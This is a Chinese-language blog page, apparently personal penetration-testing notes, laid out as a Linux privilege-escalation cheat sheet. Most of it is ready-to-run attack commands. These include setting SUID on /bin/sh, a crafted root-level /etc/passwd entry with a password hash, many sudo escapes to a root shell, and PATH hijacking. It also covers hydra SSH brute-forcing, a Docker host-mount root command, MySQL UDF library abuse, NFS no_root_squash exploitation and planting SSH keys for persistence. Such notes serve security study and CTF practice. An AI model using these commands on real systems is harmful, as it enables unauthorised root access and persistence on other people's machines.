Linux提权

-- 基础 --


线索

history #查看历史使用的指令
id #显示用户的id,以及所属群组的id
pwd #显示当权路径
whoami #显示当前用户

sudo -l #查看所用用户可用sudo执行的指令

uname -a #查看内核版本
cat /etc/issue
cat /etc/*-release #查看发行版
cat /etc/fstab #查看磁盘格式
dpkg -l
rpm -qa #查看已经安装的程序

cat /etc/passwd
cat /etc/shadow

netstat -antup #查看各种网络服务

增加shell的交互性

  • python -c "import pty;pty.spawn('/bin/bash')"
  • python -c "import pty;pty.spawn('/bin/sh')"

切换用户

  • su <用户名> (要输入密码, 有root权限就不用输入密码)
  • 有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入python -c "import pty;pty.spawn('/bin/bash')"就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了

工具

  • curl: 发送特定请求, 并接收响应
  • ssh: 用于安全远程管理和文件传输的网络协议, 提供了一种安全的方式来连接到远程计算机,允许用户执行命令、管理网络服务和传输文件
  • FTP: "文件传输协议"的缩写,是一种用于在计算机网络上进行文件传输的标准网络协议

信息收集

  • /var/mail/文件夹查看个人邮件
  • /home/管理员 查看管理员的家目录(注意隐藏文件)
  • /etc/mysql/my.cnf 保存了mysql密码, 或者网站目录中调用了mysql的必定会包含密码

提权指令

  • 简介: 当能够使用高权限执行单个命令时, 想要得到高权限shell可以执行以下命令
  • /bin/shSUID权限: chmod u+s /bin/sh
  • 执行/bin/sh: /bin/sh
  • 反弹shell: [[反弹shell]]
  • 写ssh-keygen公钥
    前提: /etc/ssh/sshd_config中的PubkeyAuthentication配置项为yes(默认yes)
    在攻击机上 使用ssh-keygen生成私钥/公钥对,
    将公钥(.pub文件)内容追加到靶机的~/.ssh/authorized_keys
    随后即可使用ssh免密连接到靶机的对应用户
    : /etc/ssh/sshd_config中的PermitRootLogin配置项(默认为prohibit-password)为 prohibit-password时代表ssh可以公私钥登录, 但不能通过密码; 为yes代表两种方式都可; 为no代表两种方式都不可

-- 提权 --


内核漏洞提权

  • 查看版本: uname -a
  • 搜索exp: searchsploit linux x.xx.x | grep 'Privilege Escalation'
  • 上传exp后执行(部分exp要编译)

SUID 可执行文件提权

  • SUID 介绍:
    SUID是一种文件执行权限, 出现在文件拥有者权限的执行位上(s)
    具有这种权限的文件在其执行时,会使调用者暂时获得该文件拥有者的权限
    其目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作
    但同时我们也可以在执行时将权限提升为root
  • SUID 原理: SUID提权的原理与Linux进程的UID有关,进程在运行的时候有以下三个UID
    Real UID: 执行该进程的用户的UID (Real UID只用于标识用户, 不用于权限检查)
    Effective UID(EUID):进程执行时生效的UID, 在对访问目标进行操作时,系统会检查EUID是否有权限(一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID)
    Saved UID:在高权限用户降权后,保留的UID
  • 搜索 SUID:
    以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -print 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} ;
    (可用which find查看是否有find指令, 用ls -l xxx查看find权限)
  • SUID 文件利用:
    1. (若可执行文件非二进制且可写入)则将注入代码写入脚本, 后执行
    2. (若找到相关的知名指令)使用相关整理好的指令
    3. (若文件执行了linux命令并可知是什么)将命令通过软链接劫持
      劫持: 创建软链接 ln -s /bin/sh linux命令 并添加到环境变量最前面export PATH=.:$PATH
      在环境变量的路径越靠前,执行命令时寻找的目录的优先级就越高

/etc/passwd 修改提权

  • 前提: /etc/passwd有写入权限
  • 利用: 写入新用户 修改root用户密码 或 将当前使用用户写成root权限
  • payload: syl-passwd:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  • 后续: 切换用户(写入新用户 修改root用户密码) 重新获取shell(将当前使用用户写成root权限)

/etc/shadow 读取提权

  • 前提: /etc/shadow可读
  • 利用: 得到root用户密码的哈希值, 用[[hashcat]]或[[john]]爆破

密码复用提权

  • 原理: 很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码
  • 获取: 查看web后台密码 数据库密码 中间件密码 应用密码 (通过查看相关文件)
  • 利用: 用密码尝试sudo ssh su
  • 注意: 获取的重复密码也可能是 其它用户密码(查看/etc/passwd来得知用户), 一般为维护服务器的用户

定时任务文件提权

  • 基础: [[Linux文件#/etc/cronXXX]] [[Linux文件#/var/spool/cron/]]
  • 原理:
    /etc/cronXXX中储存系统级定时任务文件, 每过一定时间就会以crontab中指定用户权限执行
    /var/spool/cron/中储存用户级定时任务文件, 每过一定时间就会以对应用户权限执行
  • 利用:
    当有权写入的定时文件(ls -l /etc/cron* ls -l /var/spool/cron/), 写入提权指令
    打印文件内容, 发现 有权修改 定时任务所执行的 可执行文件 内容, 写入提权指令到可执行文件
    打印文件内容, 发现可以劫持 定时任务所执行的 指令, 劫持提权
  • 注: linux中的定时任务的执行shell环境一般是sh, 所以最好不要在其中直接执行bash指令

SUDO 提权

  • 原理: 使用sudo指令可以只使用当前用户就使用root权限
  • 前提: 知道当前使用用户的密码
  • 查看: 使用sudo -l查看当前用户使用sudo支持运行的指令
  • 限制绕过: 服务器可能限制sudo运行敏感的指令
    1. 使用sudo su, sudo /bin/bash, sudo /bin/sh 等直接获得root权限
    2. 使用sudo vi /etc/sudoers或其它编辑器, 将支持运行的指令改为ALL=(ALL:ALL) ALL
    3. 使用sudo git -p help后再输入!/bin/bash等指令
    4. 使用sudo find / -exec bash ;
    5. 使用sudo perl -e 'exec bash'sudo perl -e 'exec "/bin/bash";'
    6. 使用sudo python3 -c 'import pty;pty.spawn("/bin/bash")'
    7. 使用sudo less 随便一个文件后再输入!bash
    8. 使用sudo awk 'BEGIN {system("/bin/bash")}'
    9. 使用sudo man man后输入!bash
    10. 使用sudo vi/vim 进入编辑界面后 !bash
    11. 如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去, 例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可
    12. 使用sudo env /bin/bash
    13. 使用sudo ftp后输入!bash
    14. 使用sudo 反弹shell指令, 然后进行root权限反弹shell
    15. 使用sudo cp将被限制的指令复制到其它路径,之后就可以运行(前提是在ALL基础上设置限制)
    16. 其它指令

环境变量劫持提权

  • 原理: 执行指令时, 会在环境变量指定目录中依次检索, 越前的目录检索优先级更高, 所以可劫持指令
  • 前提: 系统以root权限执行某指令 (配合 SUID文件 or 定时任务 or 管理员执行指令/脚本)
若已知在<目录>下执行ps指令

export PATH=/<目录>:$PATH
    echo "/bin/sh" > /<目录>/ps
    cp /bin/sh /<目录>/ps
    ln -s /bin/sh /<目录>/ps
chmod 777 /<目录>/ps

用户密码爆破

  • 获取用户名: 通过查看/home/etc/passwd来获取 可爆破 用户名
  • ssh爆破:
    hydra -l <用户名> -P <字典> -f ssh://<ip地址>
    hydra -L <用户名字典> -P <字典> -f ssh://<ip地址>
    字典:/home/kali/Desktop/wordlist/rockyou.txt.gz

-- 其它提权 --

数据库提权

UDF 提权(MYSQL)(待定)
  • 前提:
    secure_file_priv选项为空(不是NULL), 或包含了对应目录
    对应目录有写入权限
  • 结果: 获取启动MYSQL服务的用户的权限
  • 原理: MYSQL可以自行定义函数, 方法是在对应目录下放置动态链接库文件(.so与.dll), 通过让MYSQL执行自定义函数(带有终端指令)来以对应权限执行终端指令
  • 对应目录(MYSQL>=5.1):
    MYSQL安装目录/lib/plugin目录
    MYSQL安装目录: 用 show variables like '%plugin%';select @@basedir; 查询
  • 动态链接库文件:
/usr/share/sqlmap/data/udf/mysql 
注: 其中的文件为防止误杀被编码过, 需使用/usr/share/sqlmap/extra/cloak/cloak.py解码
指令: python3 cloak.py -d -i 解码前文件.so_ -o 解码后文件.so

/usr/share/metasploit-framework/data/exploits/mysql
注: 可直接使用
MOF 提权(Windows)
启动项提权(Windows)
CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)

其它

NFS 提权
  • 简介: NFS是一种分布式文件系统协议,NFS允许系统通过网络与其他人共享目录和文件
  • 前提: NFS参数设置为no_root_squash, 且分享目录的是 root
    root_sqaush参数阻止对连接到NFS卷的远程root用户具有root访问权限, no_root_squash则不阻止
  • 利用:
    目标机: 查看/etc/exports文件, 找到配置为no_root_squash共享目录
    攻击机: sudo mount <目标ip>:<共享目录>  <本地挂载目录>, 然后在本地挂载目录中写入SUID文件提权
Docker 提权
  • 原理: docker创建的容器内默认为root用户, 而docker可以将文件夹挂载卷到主机上, 所以可以利用提权
  • 前提: 用户有权执行docker指令 (当用户在docker用户组时, 即可无需root使用docker)
  • 利用: docker run -v /:/hostOS -it chrisfosterelli/rootplease
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇